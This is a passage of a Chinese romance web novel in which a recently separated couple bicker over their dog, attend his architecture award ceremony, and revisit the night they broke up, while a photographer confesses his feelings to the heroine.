小公寓地段并不算特别好,但胜在交通便利,离商圈和地铁都特别近。首付的钱是江稚爸妈从她出生那年都开始筹划的,每年她的压岁钱和夫妻俩计算给孩子的成长资金都会存进特定账户,在江稚成人那天,父母带她去看了这套房。付了百分之七十的首付,剩下的贷款压力并不大。
陈韵如女士语重心长地说:“你每个月走着房贷,就不算空手得来的,而且,住处有了着落,心里总是踏实些。”
父母给了江稚最大的自由,房子可以住,也可以卖掉置换。但这屋子一直空着,江稚和池知舟确定关系,毕业后自然而然住在一起。
回家时江家爸妈跟池知舟提过一次这房子,所以池知舟尤其在意,屋子不能久空,所以他会固定时间来打扫一次,检查设施。遇着实在没空,他就请家政。
谁能想到第一次住进这房子,是在他们分手之后。江稚收拾好行李自己过来,才第一次发现这屋子干净整洁,家具都保养得很好。
越看心里堵。
现在两人一起站在楼下,江稚又问一遍:“你真要上去?”
“这么多东西你抱不下。”池知舟理所当然。
“那你不准乱讲。”江稚按了电梯。
池知舟问:“什么叫乱讲?”
电梯缓缓上升,江稚准备走进去,警告池知舟:“不准说我昨晚在你家。”
电梯门打开,刚从地下停车场上来的周嘉月和梁书元完整地听完了这句话。
四人之间弥漫着尴尬和沉默。
江稚:“听到了?”
梁书元:“听了个大概。”
池知舟朝江稚微微偏头,说:“快撤回,来得及。”
江稚:“……”
*
“你最好从实交代。”周嘉月靠在卫生间门前。
江稚埋头给奶糖洗爪子,“……没什么好交代的,就是睡了个觉。”
周嘉月回头看了眼厨房里说话的两人,缓缓蹲身,委婉发问:“你这个‘睡觉’,它是名词还是动词?”
江稚:“正儿八经的名词。”
她简单地概括了下昨天接奶糖的过程,“反正最后下雨啦,走也走不了,还加了个班。”
周嘉月对此存疑,“真的?”
江稚坚定不已,“比金子还真。”
周嘉月缓缓摇头,“你都没跟我说,目前你在我这信用度太低,白天还说着再也不见,晚上你——”
“哎!”
江稚抬起满是泡沫的手掌威胁她,又越过人去看外面,确定池知舟没注意这边的动静,这才压低声音说:“这真的是最后一次了,我把奶糖接回来,以后都不去见他。”
周嘉月沉默地微笑,并不表态。
……
“所以你说的约会是和江稚?”梁书元在厨房里洗着菜,百思不得其解,“你俩这是和好了?”
“没和好。”池知舟腌着肉,“你洗干净点,右边柜子里有塑料篮,用那个装。”
“哦。”梁书元依话找出来菜篮子,后知后觉地问,“不是,你怎么知道她家里的东西放哪?”
池知舟处理着食材,“因为我是她男朋友。”
梁书元很严谨,“前男友。”
池知舟手下用力了些。
“那你们这是什么?”梁书元靠在岛台边,“你还不知道江稚吗?她的决定超级难改。”
池知舟吸了口气,转头问:“你出去应酬不用说话吗?”
“突然问这个干嘛?”梁书元莫名其妙,“老板带着去我说什么话,我能喝不就行了。”
池知舟沉默片刻,继续处理腌料,“学学吧。”
“学什么?”
“说话。”
*
吃饭的时候奶糖兴奋得很,一个劲地在几个人腿根转悠。
江稚忽而想起个事儿,也就趁着这会人在问了
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:“奶糖爱吃你做的狗饭,你记得把配料发我。”
池知舟咽下菜,喝了口水,“不给。”
江稚愣了,“为什么?”
“独家秘方。”
江稚:?
梁书元笑得止不住,说:“你俩干嘛不养只蚯蚓,分手了一人一半。”
周嘉月一巴掌拍去他背上,“你是不是傻?”
“哎!”梁书元嚎了一声,揉着后背说,“我跟我女朋友就没养啊,感情还不是很好。你俩是真厉害,我反正做不到和她见不着面,难受得很。”
莫名奇妙被cue的一对前男女友保持沉默。
“不过,后半年也得分开了。”梁书元黯然道。
“咋。”周嘉月问,“你还能预知分手时间?”
“别瞎讲,这不是我们半年后要被派去海外市场常驻了吗,两年起步。”
周嘉月:“你们?”
“没有们。”池知舟搁下筷子,拎起汤勺,继而抬手示意江稚。
江稚也就稀里糊涂地递出了碗,“你不去?”
“问过我,我拒绝了。”池知舟动作干练娴熟,给江稚舀了汤,又照顾好其他两个人。
江稚心里闷,抬碗遮住脸,“为什么不去。”
池知舟:“你想我去?”
“关我什么事?”江稚大方地说,“这不挺好吗?有发展的前景。”
池知舟缓缓搁下汤勺,“挺好?”
“是啊。”江稚顶着旁边两道八卦的目光说,“那什么,考虑考虑吧,我反正都把奶糖接回来了,你也不用操心。”
这边说完话,周嘉月和梁书元又齐齐转头看向池知舟。
“外面人很多的。”
两颗脑袋转向江稚。
“那不是更好?”她举起杯,以一种合格且泰然的前任姿态祝贺道,“祝你前程似锦,早日觅得良缘。”
池知舟没有接话,只是看着她,目光既安静且专注。
过了几秒,他突然轻笑一声。
“先别祝福,没谱的事儿。”
*
饭后。
奶糖哼哼唧唧地绕进绕出,明显就是想下去玩。
梁书元过来问江稚洗碗机怎么用。
池知舟拿上狗绳,“我带奶糖出去玩。”
听到“出去玩”三个字,奶糖开心地跑过来,两只耳朵一点一点的,尾巴摇得飞快。
江稚正弯着腰捣鼓洗碗机,听了这话回头提醒了句:“小区北门在修路,别往那走。”
池知舟给奶糖套绳子的动作一顿,随即直起身说:“你人真好。”
江稚莫名其妙。
设置洗碗机很快,之后她绕去阳台,夜色已深,城市灯光渐次亮起,她微微偏头,看见池知舟牵着奶糖慢悠悠地走。
关上阳台门,江稚转身去沙发坐下,周嘉月过来,欲言又止。
江稚扣着手里水杯上的花纹图案,垂着脑袋说:“我没事。”
周嘉月:“我是想说,综艺快开始了。”
江稚:“……”
电视声里,江稚把从池知舟家里拿来的狗窝和玩具摆好。
十分钟。
三十分钟。
人还没回来。
江稚拨通了电话:“你人呢?”
“家。”池知舟的声音从听筒里传来,平静得很。
江稚懵了,“奶糖呢?”
“在我旁边。”
江稚猛地站起来,“池知舟!说好的你不准把奶糖偷走呢?”
池知舟:“我没偷,奶糖自己跟着我回家的。”
听听,这是中文吗?
江稚气急了,在梁书元惶恐的目光中冲去门前,当场把房门密码从710601改成123456。
再次坐回客厅,还是生气,手机被她捏在手里,震了一下,江稚条件反射地低头去看。
【舟】:密码不要改123456,不安全。
多么顶级的预判,江稚磨了磨牙,噼里啪啦地回复消息。
【JZ】:我谢谢你。
【舟】:不用谢,我的公司门禁卡落在你家了。
江稚难以置信地看着这条消息,人都看恍惚了。
【JZ】:你是说,你在压根用不着那东西的周末带着它出门,死皮赖脸送前女友回家,厚颜无耻蹭了个饭,哄骗奶糖跟你回家这种事都能做得出来,就是忘了拿门禁卡?
对方正在输入中……
【舟】:是这样。
9. 家属
紧跟着,池知舟发来消息:明早我可以去你家拿吗?我带早餐赔罪。
【JZ】:那你要来早点。
【舟】:你明天有事?
【JZ】:我没事,但是小区的垃圾车七点半走。
【舟】:别丢吧,我用狗饭的配方和你换?
看着这行消息,江稚甚至能脑补出池知舟低头看着手机,嘴角微微带笑的表情。
她没再回复,从袋子里翻出那张蓝边的门禁卡,正中间是池知舟的照片,看着这张脸,难免想起这个人悄悄把奶糖带回家的事。
眉眼清隽,嘴角噙笑,轮廓分明,人模狗样。
下面标着:中级建筑师。
江稚确定了一下这物件的存在,重新把它塞进袋子里。
池知舟本科毕业后直接保研,二十五岁拿到硕士学位,毕业后进入业内著名设计事务所,短短两年就经手了好几个大项目,从助理建筑师升级到中级建筑师。
据江稚所知,池知舟手里还有几个大项目,都倚重他的创新理念,对于建筑设计业内,他无疑是一颗冉冉升起的星星。
是什么项目呢?江稚回忆着,却怎么都想不出具体的名字。
尤记得大学的时候,哪怕池知舟只是随手画一根木梁,江稚也得捧着脸夸他个半天。池知舟设计方案作业时,江稚还会乐呵呵地假装很专业点评两句,即便大多数时候就是“厉害”或者“绝了”之类毫无营养的话,但池知舟总会很耐心地听完,甚至还笑着跟她说得更详细些。
从什么时候,她连池知舟手里有什么项目都不知道了呢?
莫名的疏离感来得太突然,让人怅然若失,她重新把那张门禁卡拈起来。
不过是一放一拿的时间,薄薄一张卡,突然重了好多。
沙发上,梁书元本来和周嘉月聊着综艺,偏眼瞧见江稚拿着什么在那发呆,再定睛一看,乐了。
“这不是我们公司的门禁卡吗?”
江稚扭脸,手往前递出去,“喏,刚好你在这,你拿去给他。”
“别折磨我了,我明天不想去公司。”梁书元迅速后撤。
周嘉月奇怪道:“明天周天啊。”
“池哥要去。”梁书元抱紧自己,“我不去,这是打工人最后的倔强。”
梁书元家里光佣人就有十多个,但还是选择了社畜的道路,美其名曰:实现自我价值。
现在看来,已经被社会捶打得不太想实现价值了。
江稚过去挨着周嘉月坐下,“他明天去干嘛?”
梁书元隔着人探出脑袋问:“他没告诉你?”
“不知道。”
梁书元重新靠回沙发,“我得统一战线,池哥没说,我就不讲。”
江稚夸他:“你真伟大。”
过了九点半,周嘉月和梁书元离开。
江稚洗漱完靠去床上,拿起手机看,上一条消息是池知舟询问她早餐想吃什么。
【JZ】:你明天用得着?
【舟】:嗯[老实巴交的企鹅]
江稚好笑地看着那个表情包,悄悄收藏起来。
【JZ】:我给你送过去,你把狗饭配方给我,当面交易。
【舟】:你目的性好强。
【JZ】:有台阶你就下好吗?
【舟】:[企鹅摇摇晃晃下台阶]
*
约定十点见。
江稚起了个大早,时间还充裕,她绕道去了趟复姐的咖啡厅。
复姐是个很温柔的人,笑吟吟地寒暄:“你来得刚好,机器才热好,还是老样子?”
江稚在吧台前面的高脚凳坐下,和她闲聊了两句。
咖啡厅做外带的拿铁很少会拉花,毕竟盖子一关什么都瞧不见,大部分是简单地把奶泡和萃取液混合在一起。
此时复姐手持杯子,熟练地找准角度,奶缸倾斜,缓缓注入打发的牛奶。
江稚看着复姐的动作,好奇地问:“为什么我的要拉花呀?”
复姐笑着说:“还不是你喜欢。”
“我?”
“是啊,你喜欢拉花嘛。”复姐压上杯盖,装进袋里,“不然你那位做什么来找我学?还白打了一个星期的工。”
江稚听愣神了,“池知舟?”
复姐看她这样,好笑道:“还能有谁?”
“就你们大学的时候呀。”复姐旋身清理机器,“之后倒是没来了,也不知道出师了没。”
江稚缓缓地眨了眨眼。
同居后,池知舟买了咖啡机,要是两人早起在家里吃早餐,池知舟会给她做奶咖,图案都不同,一开始只是简单的心形,后面花样渐渐多了起来。
此刻,江稚稍稍偏头散去回忆,摩挲着袋子边缘,轻声说:“出师了。”
复姐就笑:“他学什么都厉害。”
……
江稚到池知舟公司楼下时,离约定的时间还有一会,她发消息说自己到了,就站在树荫下等。这是典型的金融商圈,他们俩的公司就隔着个商业街。
正闲着,陈韵如女士突然来电。
“丫丫,你起了没有?”妈妈的声音听起来尤其轻快。
“起啦,早点都吃了。”江稚认真地告诉妈妈,“我最近可勤奋。”
陈韵如在电话那头笑了笑,“是是是,妈妈就是想问你呀,我和你顾阿姨在做美甲呢,你要不要来呀?”
“美甲?”江稚从耳边拿下手机,再次确认时间,不免感慨,“你和阿姨这也太早了。”
“不早啦,闺女今天休息吧,怎么不多睡会?”电话那头传来另一个人的声音,一如既往地称呼江稚叫“闺女”。
顾清宁,池知舟妈妈,打小就喜欢江稚这丫头,一直都这么叫她。
本来,要是江稚没和池知舟分手,那周末或是隔十多天都得回家吃饭,不论是江家还是池家,总得把水端平。
最近这段时间江稚自己没理明白,也心虚着没联系顾阿姨,不管怎么说,顾阿姨自小的关心和疼爱是真的,这会还要长辈打电话来关心,她实在内疚。
“闺女,正好今天有空,来做个美甲呗?阿姨请你!”
江稚听得心里有些发酸,说:“改天吧阿姨,您和我妈妈好好玩,今天我就待在家里了。”
“那也好,也好。”顾清宁的语气听起来有些失落,但很快又说,“那你要记得来找阿姨玩啊!”
江稚笑起来,“一定的。”
顾清宁最后嘱咐一句让小丫头别太累了,把电话递给陈韵如。
“丫丫,真不来呀。”
“真不去了,不想出门呢。”
“好吧好吧。”陈韵如说,“有事要记得跟妈妈说好不好?”
“知道啦,爱你们。”江稚很用力地对着手机话筒亲了一口,听见对面两位女士的笑声才放心地挂断电话。
听见顾阿姨的声音,她又点进物流界面,周四就是顾阿姨的生日,看看买的礼物到了没。
屏幕最上面跳出来微信消息。
【舟】:可以麻烦你送到十六楼吗?
江稚有些疑惑。
【JZ】:你们公司不是在二十楼吗?
【舟】:[企鹅鞠躬求求]
看着毛绒绒的小企鹅在对话框里鞠了半天躬,江稚把手机塞进包里,拎着咖啡走进大楼电梯。
她以为池知舟是去别的楼层办事,但电梯门打开后看着面前的场景江稚愣住了——红毯从电梯门外延伸出去,大厅正中央的显示屏挂着一行字。
远贝筑境建筑设计颁奖典礼。
江稚记得这栋楼有一层是专门改装出来的大厅,打通了整层楼,专门给公司举办年会或者颁奖这些活动用。
原来是这一层。
池知舟靠在会议厅入口的闸机旁边,公司同事从他面前路过,总监家的小丫头停下来问:“池叔叔,你在等人吗?”
“她马上就来了。”池知舟伸手帮小姑娘理了下缠在一起的气球绳子。
也多亏小姑娘手里这串颜色鲜亮的气球,江稚稍微下意识地朝那边瞧去,顺势看见了池知舟。
这个人身着正装等在那里,披着从身后窗外打进来的阳光,恍恍惚惚地,像是和几年前那个穿着宽松卫衣在教室里画图的身影重叠在一起,时间淌过他的身体,留下了无可替代的斯文与从容。
很容易让人瞧进去。
身边有人搬运花篮,江稚偏头看着距离让了一下,再看过去,池知舟已经迎了
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过来。
“给。”江稚把门禁卡和咖啡一起递给他。
池知舟接过去,弯起眼道谢。
“你,得奖了?”江稚环视着四周,获奖作品的概念海报都布置在迎宾厅这里,她看到很眼熟的一幅,瞬间知道自己问了句废话。
同时,厅里来来往往有人路过,身上挂着家属卡。
“池知舟,今天谁来看你获奖啊?”江稚很小声地问。
池知舟顺着她的目光望过去,“现在不知道呢。”
江稚回头,“什么?”
“要是你答应,那就有人看。”池知舟伸出手,递出家属卡,“别的小朋友都有人接。”
他这么开玩笑,江稚听得心里头发闷,问:“要是我不答应呢。”
池知舟没有收回手,语气轻松地说:“那就没人看,没事的。”
江稚:“如果,我没答应给你送门禁卡呢?”
池知舟:“那我大概八点就会出现在你家门口,死皮赖脸请求你。”
他顿了顿,故意压着声音说:“一个人领奖,有点丢人。”
江稚久久没有说话,她有点恼自己,项目也好,拉花也罢,甚至获奖这事,她怎么什么都不知道啊……
“我不是一个合格的女朋友。”她垂着脸说,“你是故意想让我内疚吗?”
池知舟听得心里发紧,他眉梢一塌,想着这是真把人惹不高兴了,“算了”两个字已然在嘴边打转。
“那你做到了。”江稚抬起脸,很认真地说,“对不起,不管是因为什么,我不可能让你孤零零的领奖的。”
她从池知舟垂着的手里拿过家属卡,抬手挂去脖子上,做完这一切赌气似地往里走。
卡片从手指尖被抽走的触感还残留着,池知舟低头看了看自己掌心,随即转身追过去。
他们并肩往里走,偶尔和公司的人打招呼,池知舟手机在口袋里震动了起来。
“妈。”他接起电话。
顾清宁温声道:“舟舟,你在哪呢,等会来跟妈妈和陈阿姨吃饭好不好?”
“在公司。”池知舟看了眼身边的人,“吃饭我得问问人同不同意一起。”
江稚立刻转过身,无声地用口型警告:“不准讲我。”
池知舟看了片刻,柔声回话:“妈,我这边还有事,一会回给你。”
电话那边的顾清宁还没来得及说什么,就听见池知舟挂断电话的最后一句是:“你等等我呀,走这边,要挽着手吗?”
好温柔的语气,亲妈听了都怀疑。
顾清宁抬眼望向对面的陈韵如,因为做着美甲,这通电话开了免提。
她们虽然是多年好友,相处时也带着姐妹间的打趣,就比如孩子们一块长大,顾清宁总爱抢闺女,说丫丫是她的小棉袄,陈韵如就抢儿子,说小舟才是好宝宝。
也就只是打趣,当妈的总是心向自己孩子,如今到了这个关口,还真有点难办。
陈韵如表面很大度,微笑道:“据我所知,我家丫丫这会儿在家里不愿意出门,据你所知,你家小舟这会想拉谁的手?”
她最擅长微笑着说这种话,语气无比轻柔,轻飘飘的,落进耳里听着发凉。
“算了,你知道的,孩子们有自己的想法,他俩要是分手,很可能就是处不成了。”
顾清宁急了,“这我知道,但是我家小舟不可能没理清上一段感情就发展下一段感情。”
陈韵如:“我还不知道你,你的儿子你护着呗,要我说,当时该反对的。”
气氛有点不太妙,美甲师往后缩了缩手,暂停动作。
顾清宁连说不行不行,“一会让他把人带来吃饭。”
陈韵如微笑都装不下去了,把手从紫光灯下面抽出来,“顾清宁,你让他带来气我是吧,你嫌我命长?”
“你这是什么话。”顾清宁也把手抽了出来,“我就告诉你,我家小舟不可能这么不负责,他要是敢,你就记住今天吧。”
陈韵如莫名,“我记住今天干嘛?”
顾清宁:“他会迎来这辈子第一顿父母的打。”
陈韵如想了想,又笑起来,满意地重新把手放去烤胶。
“你也别那么凶,我并没有很生气。”
10. 回忆
“你紧张吗?”池知舟偏头问身边的人。
江稚正在试图把自己这套休闲穿搭临场改得正式一些,“你得奖我紧张什么,我不紧张。”
池知舟就笑。
他第一次见到江稚时,两个娃娃都还没能熟练掌握人类的语言能力,刚刚踏入幼儿园的门槛,社交能力比较浅薄。
彼时池家生意遭受重创,不得已卖了所有房产,走了朋友的路子买了个家属院小区,爸爸整天在外奔波周旋,搬家的时候都鲜少能顾得上。虽然池家的这次破产几年后又挽救了回来,但在旧家属院的那段日子,对池家也好,对江家也罢,都是弥足珍贵的回忆。
一朝变故,妈妈顾清宁从云端跌落,还没能及时抽离富太太的身份,进了那个老旧小区,看哪都不顺眼。
邻居阿姨好心来帮忙,还被妈妈呛了几句,那阿姨脾气被引了上来,两人吵到大中午,彼此都有些疲惫,决定先把饭吃了,于是暂时搁置恩怨,一起做饭。
阿姨家的小丫头一直试图插话,想要炫耀自己的画,奈何妈妈辩得太认真,以至于忽略了女儿。
她不高兴,捧着自己的画坐在小区老榕树下面,含着眼泪,很是委屈。
池知舟全程都很安静,直到瞧见小姑娘哭了,才攥着颗蓝莓流心糖过去,他笨拙地哄:“别哭,糖给你吃。”
谁知这一哄让人哭得更厉害了,小姑娘抽抽搭搭地抢过糖塞进嘴里,含糊道:“你、你再给我一颗,我就不哭了。”
盛夏中午,蝉鸣在槐树影子里碎成金箔,细细碎碎地拼凑起来,变成颁奖台上指引荣誉的那盏射灯。
池知舟递出糖,包装纸泛着蓝色的光芒,“这次也是蓝莓流心。”
江稚接下,吃进嘴里,熟悉的味道在舌尖铺开。
会场之中人声渐起,灯光师调整追光灯的角度,好像有颗零件错了位,光在场内一滑而过,闪得江稚虹膜有些恍惚,视线下意识地追向池知舟。
思绪翻涌,猝然回到分手前一天晚上。
陈不人突发恶疾,非要找来一个早几个月的项目让部门整改方案,堪称当代鸡蛋里挑骨头之集大成者。
池知舟问:“要不要去冰岛?”
这句带着期待的话语被陈不人愤怒且做作的咆哮打乱,和那天下午碎在客厅的阳光一样。
一整天,江稚处理完工作,又接了公司摄影师的电话,对方询问颜色方案和拍摄对接。
池知舟忽而从后背抱了过来,拥得很紧,含着她的耳垂,发出水声。
江稚羞得要命,让手机从耳边撤开,不得已开了免提。
“小稚,要不明天我请你吃饭吧。”电话那边的摄影师说,“看看你还有喜欢的餐厅吗?”
“具体的……”江稚一边推着人躲闪,一边回答,“再聊吧。”
对面的人笑了笑,“明白,那我等你回消息。”
在身上游走的手越来越用力。
电话一挂,连她自己都不清楚是怎么被抱去床上的。
她跌进织物堆砌的旋涡里,想要往外爬,却被更用力地按回去,她听见自己破碎的呼吸撞到了池知舟胸膛。
江稚瞧见门缝里奶糖的眼睛,慌张地喊池知舟,“你最近怎么总这样,门没关,奶糖会……”
未尽的话都被咬碎,池知舟的鼻尖划过腰窝,呼吸所过之处战栗不止,热源还在不断往下。
他暗哑且凶狠地说:“狗哪有我会舔?我没让你舒服吗?”
汹涌的浪潮裹着冰棱同时到达,又冷又烫,淅淅沥沥地淋湿了满室月色。
待两人稍微平息一些,池知舟嘴唇在她耳边碾过,“去冰岛好吗?”
江稚睁着眼看窗外的暗夜,“去了,然后呢?”
“然后我们一直在一起。”池知舟手臂收得更紧,“去极光下面,你是我的。”
江稚从这句话里听到了太多东西。
她觉得自己像是被挂上了序列号的物件,无措地听见拍卖锤砸下的声音。
“我这段时间有工作。”江稚说。
“你总会有空的。”池知舟回答得理所当然,这份笃定刺痛了人。
好像,江稚的工作也好生活也罢,她做了什么,说了什么,只是通往“你是我的”这个结果的过渡期。她感到说不出的疲惫,在完美情人的臂弯里,她明白了自己的不安来自何处。
“你怎么不问问我呢?”江稚把这句话说了两遍,眨了眨眼,突然捂住心口,心脏的每一个沟口都坠着苦涩,凝固之后生出刺来,戳得她喘不上气。
委屈来得凶猛,江稚起初只是抽泣,最后大哭起来。
哭声犹如生锈的针一样刺进池知舟耳膜,他触电般松开了手,去给江稚擦脸,指缝里积聚了太多泪水。
江稚抓起靠垫砸他,“滚出去!”
靠垫从池知舟胸口滑落,他愣了片刻,随即手忙脚乱地想要去把人抱住。
江稚拼尽全力把他推开,“滚啊!”
做出这个决定,江稚花了整整一晚上的时间,第二天池知舟早上出门很早,于是她先收拾东西。
把最后一件衣服拽出来塞进行李箱,同时也拽出来金属的撞击声。果汁硬糖的铁盒卡砸到踢脚线上,盒盖上还有用修正液画出来的小兔子。
池知舟总是这样,只要带个柜门能拉抽屉出来的地方,就会有他偷偷珍藏的东西。
情感的余震让江稚缓了很久。
最后,她把糖盒放回衣柜,拖着行李箱去客厅等人回来,提了分手。
池知舟的反应比她预想中的任何一个模样都要平静。
*
那个摄影师池知舟知道,叫林忆。
他能知道这号人,还是因为那天江稚说要回爸妈家吃饭,池知舟下班后想着去给人买喜欢的面包,明早可以搭着新果酱吃。
可是池知舟看见江稚和那个男人在玻璃窗后面,她低头笑着拨动碗里的沙拉。
为什么呢?池知舟想了很久,但还是买了面包回家。
一小时后,密码锁发出滴滴声。
“怎么不开灯?”江稚在玄关换着鞋问。
池知舟靠在沙发上没动,轻声问:“叔叔阿姨还好吗?”
江稚动作一顿,随即回答:“……挺好的。”
“我爱你。”池知舟突然说。
江稚怔然一瞬,先过来伸手捏了捏他的脸,笑着说:“今天嘴巴这么甜,我先去洗澡啊,一会看电影。”
她和奶糖玩了会,进了卧室。
水声响起,池知舟原地听了会,沉默着走去浴室前,推门进去……
他觉得自己身体里住着一头困兽,正在用恐惧做食粮,疯长。
“我爱你”这三个字出现的频率越来越高,江稚的手机显示来电人是林忆的频率也越来越高。
池知舟知道嫉妒无用,他都知道。
甚至明白,问清楚就好了,但他始终没有开口。
不想听到答案的人,永远是这个世界上不会开口提问的那一个。
直到被轰出卧室。
屋子里气氛并不好,奶糖听见了妈妈哭,一会着急地跑去卧室前扒门,一会哼哼唧唧地过来用鼻子拱爸爸的手心。
小狗跟着主人一起失眠。
池知舟对它说:“宝宝睡吧。爸爸会和妈妈好好道歉的。”
第二天池知舟很早就出门,买了江稚最爱的生煎,又去花店挑了一束花。
他觉得,无论如何得把话说开。
推开家门,他看见客厅里静静立着的行李箱。
不知怎的,池知舟把花藏在了门外,同时,江稚从卧室绕出来,“聊聊吧?”
池知舟没和她对视,垂眼盖着情绪,沉默着关上门,把早点放去餐桌上,才找回了自己的声音,但还是哑。
“先吃早饭吧,我还有点工作要忙,忙完再说。”
那天时间过得好快,夕阳把窗帘染成橘红色,再不说天就要黑了。天黑,江稚回去公寓不好收拾。
池知舟没想好怎么把人留下来,看见江稚准备去拿狗绳,于是他说:“奶糖,你不能带走。”
江稚难以置信地转过头看他,“你要跟我抢?”
她头疼起来,有什么东西在本就昏昏沉沉的脑袋里绷紧。
池知舟目光沉沉地看着她,重复道:“你不能带走。”
“我非要带走呢?”江稚努力压着喉咙的哽咽。
“那我会拦住你。”池知舟往前迈了一步,“我力气比你大。”
“你要闹到报警吗?”
池知舟不语。
那根弦断了。
江稚不知道自己还能用这种语气和池知舟说话,总之,她开口了。
“池知舟,把你衣柜里那盒子丢了吧。”
池知舟倏地睁大眼,“你看到了?”
“看到了。”江稚拖着行李箱路过他,“丢了吧。”
那究竟是什么情绪呢?
江稚形容不上来,很混沌,并非尖锐的疼痛。胸腔里凝着团浸了水的雾气,沉甸甸地坠着,在每一个吞咽的时刻牵着身心体验失重。
行李箱没装多少东西,只是滚轮碾过两人朝夕相处的空间时,需要人花大力气才能往前迈步。
怅然若失。
颁奖台灯光聚集到那个人身上。
嚷嚷人潮里,所有人都望向那个被道贺的、瞩目的、沉稳的设计界新星。
江稚胸前的家属卡映着光,池知舟三个字被照成了暧昧的琥珀色。
嘴里的硬糖化开,果浆流向舌头两端,甜,但也有酸,刺激得江稚微微眯起了眼。
池知舟从领奖台下来,立时就有几个西装革履的人围了上去,都是业内大能。
池知舟得体地和他们交流,目光扫过江稚所在的方向,朝她招手,用目光询问要不要过去。
江稚在原地摇了摇头,于是池知舟聊完之后就大步过来。
“喏。”她取下家属卡递过去。
这次池知舟没接,“就这一张,可以作纪念的。”
江稚直接把卡塞去他西装兜里,塑料壳撑着暗纹布料,看起来有点好笑。
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“狗饭的配方。”
池知舟静静地盯着人,忽而低声说:“恭喜都没有一句。”
“恭喜。”江稚偏头避开这道视线,重申道,“配方。”
池知舟拿出手机点了几下,“发给你了。”
江稚粗略看了一眼,又问:“我现在去带奶糖走?”
“我没说可以。”池知舟沉声回。
江稚人都走出去两三步了,愣是被这句话扯回来,“那么请问,奶糖不在,我做给谁吃?”
会场里,接连灭掉几个晃眼的顶灯,明暗之间,池知舟眼底攀上执拗,“反正,你不能有别的小狗,奶糖会不高兴。”
江稚舔了舔嘴皮,没搞明白池知舟什么时候这么幼稚了。
“你到底要干嘛?”
池知舟:“去吃饭吗?”
“我们已经分手了。”
池知舟:“泰国火锅好不好?”
“你考虑考虑出国吧。”江稚放弃和他沟通的思路,把心里话说了出来,“刚才主持人也说了,你们这一行能拿奖的人里,你是比较年轻的那一拨,我看那几位大师都蛮看重你。”
池知舟按亮电梯键,言简意赅:“我不去。”
他头也不回,眼睛垂着,睫毛盖下沮丧的阴影。
江稚不想再劝,也不想再让他今天不高兴。
最后说:“你烦死了。”
池知舟声音很轻:“……那怎么办。”
出了大楼,池知舟回电话给顾清宁。
“妈,我真的和丫丫在一起。”
“别这么叫我。”江稚小声威胁。
“可以吗?”池知舟问她。
“可以什么?”江稚警惕。
池知舟愁着脸指了指自己的手机。
“没用。”江稚接过电话,“顾阿姨。”
“啊?丫丫?哎哟闺女,真是你啊?”顾清宁的声音听起来尤其意外。
江稚难免回想起自己一个小时前还说自己人在家里……
“这不出来散个步遇上了嘛,吃饭我就不去啦,这两天有很重要的事儿,不能见您……因为我要好好做保养,等您周四生日那天,您美得像朵花,我也不能太难看了对吧。”
顾清宁被逗得直笑,池知舟就在旁边一直弯着眼瞧人。
江稚把手机还给他,“拿去,看什么?”
池知舟又问,“真不吃饭?”
“吃,我自己会吃。”江稚回头招招手,“合格的前任应该像死了一样安静。”
池知舟:“……”
前夫都不想做,现在变成亡夫了。
真是场酣畅淋漓的降级。
*
直到江稚坐上车,心里头那股憋闷都没散掉,发消息给周嘉月:宝贝,干嘛呢?
【不瘦到47不改名】:吃饭呢,咋啦?
江稚指头悬在那,半天摁不下去一个字。
【不瘦到47不改名】:如此支支吾吾,你去见池知舟了?
江稚:“……”
【JZ】:没事,就问问你,你吃着吧,遇着不会吃的再问我。
【不瘦到47不改名】:?
分手始终是件私人的事儿,没道理人家是朋友就有义务当垃圾桶,江稚决定一会回家点杯果茶,挑部电影按摩一下灵魂。
林忆的电话就是这时候打过来的,问她方便现在去工作室看看吗,东西做好了。
这人算是圈内少有的全能摄影师,商拍和个摄都能接,有自己的工作室,也是公司的特聘摄像。
江稚看了看时间,说:“那就午饭之后吧。”
林忆:“要一起吗?”
江稚:“不了。”
……
江稚一直瞒着池知舟,她给了林忆一份详细的文案,上面是她记下来和池知舟这些年的回忆地图,每一个记忆地点她都标注了很长一段文案,就是希望林忆能抓准不同地点的感情。
尤记得第一次商量这件事儿的时候,江稚还跟池知舟撒了个谎,真挚地请求林忆拍精细点。
她其实不太有胃口,干脆戳着沙拉说:“等他生日给他,兴许那天我还会求婚呢。”
桌对面的林忆愣了一下,随即笑道:“你是女孩子,你求什么婚。”
江稚就笑,不多说,片刻后她发现林忆一直在看窗外。
“怎么了?”她回头看去,街上就是普通的车流和行人。
林忆笑着摇头,“没事。”
现在,江稚接过那本相册,却没有打开。
林忆抱着手观察她的表情,“看来老板不满意这个包装盒?”
“没有。”江稚把相册收进包里,“我回家慢慢看,谢谢。”
林忆沉默了会,还是开口:“你们分手了?”
江稚整理着背包,闻言抬起脸微笑着说:“这应该不是我和你需要聊的话题。”
这句话已然足够礼貌和体面。
可是林忆握了握拳,垂下手郑重地说:“可能时机不太对,我想说,其实我一直都很喜欢你。”
11. 新旧
林忆眉骨高,五官锐利浓重,说话时总带着来自摄影师的、习惯性的专注感。
江稚瞧得出他不是在开玩笑,也并不意外听见这句话——她知道这件事。
起初,只是欣赏对方的拍摄水平,所以江稚主动问问能不能接私单,可之后交集渐密,对方的目光也变了。
感知别人的喜欢并非难事,刻意忽略对彼此都是一种礼貌。
林忆并不是看不懂脸色的人,虽然不晓得他为什么非要说出来,但话说到这个份上,也只能面对面讲清。
江稚整理好包里的东西,面上微笑依旧,“我想可能是我让你误会了什么,如果是我的什么行为让你产生了期待,那么我很抱歉。”
语罢,林忆脸上却没出现窘迫,反而笑得更坦然了些:“就刚才,就那一下,特别想让你知道而已,并不是让你给我答案。”
江稚和林忆首先是同事,他在被拒绝后依然要说明心思,似乎全然没有顾及之后的合作,这点让人有些恼火。
江稚后退了一步,“谢谢,抱歉。”
这就是要走的意思了。
林忆低头笑了一下,倏尔抬眉盯着她的背包,相册在里面凸出了棱角,难以忽视。
他想起那晚和江稚用餐时窗外的那个人,是叫池知舟吧。
林忆时常看见那张脸出现在对面大楼的广告牌里,设计新星。说实话,和江稚很配。
当时,这个人匆匆收住脚步,站在那就走不动道儿。他很会搭配,或者说是江稚很会为他搭配,总之,身为摄影师的林忆很欣赏池知舟那天的穿搭,深灰色的风衣把腰线收得很好,渲染出独特的气场,协调的面部比例非常适合特写,光是站在那不动就能引得路人回顾的程度,而这样的人,手里拎着的是面包袋子,拎着他和江稚的生活。
同时,对面的江稚正笑着说自己准备先求婚,林忆和窗外面的池知舟对视,然后说:“怎么是你女孩子求婚。”
